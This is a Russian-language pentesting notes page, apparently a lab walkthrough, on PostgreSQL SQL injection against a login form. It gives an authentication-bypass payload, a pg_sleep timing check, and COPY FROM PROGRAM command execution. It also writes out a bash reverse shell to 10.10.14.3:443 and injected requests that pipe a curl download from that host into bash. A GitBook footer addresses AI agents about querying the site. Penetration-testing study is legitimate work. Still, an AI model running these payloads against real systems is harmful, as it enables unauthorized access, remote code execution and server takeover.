> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md).

# Инъекция PostgreSQL

{% hint style="info" %}
PostgreSQL — это мощная объектно-реляционная система управления базой данных с открытым исходным кодом, способная безопасно обрабатывать самые сложные нагрузки данных.
{% endhint %}

При отправке этих учетных данных:

```sql
имя пользователя: '
пароль: '

```

Появляется ошибка SQL, указывающая на PostgreSQL с `pg_query`.

<figure><img src="/files/cfbdd6d4a3724a4e8f38cce7904a57741d20f826" alt=""><figcaption></figcaption></figure>

### **Эксплуатация**

Проверьте классическую инъекцию полезной нагрузки:

```vbnet
имя пользователя: ' OR 1=1-- -
пароль: что угодно

```

Мы получаем доступ к панели администратора.

<figure><img src="/files/028f7658621d329c3875d87ad311cc811a88d4a9" alt="" width="563"><figcaption></figcaption></figure>

Перехватывайте запросы с помощью **Burp Suite** и используйте такие ресурсы, как **HackTricks** для настройки инъекций.

<figure><img src="/files/9351e68bd4f3b3212ace394d7f87839329b7740e" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### Чтобы проверить, позволяет ли инъекция выполнение команд, используйте:

`;select pg_sleep(10);-- -` Если ответ занимает 10 секунд, инъекция уязвима к эксплуатации.

<figure><img src="/files/00905435b32db7d389d2e00012d96541b013055c" alt=""><figcaption></figcaption></figure>

### **Выполнение команд**

Вот пример получения удалённого выполнения команд (RCE):

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

```

Создайте файл `index.html` содержащий:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

Запустите HTTP-сервер:

```bash
python3 -m http.server 80

```

Настройте прослушиватель:

```bash
nc -nvlp 443

```

Отправьте полезную нагрузку:

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d

```

<figure><img src="/files/35a79f7994d80eff3e83f69094b4fb4fd26ab472" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
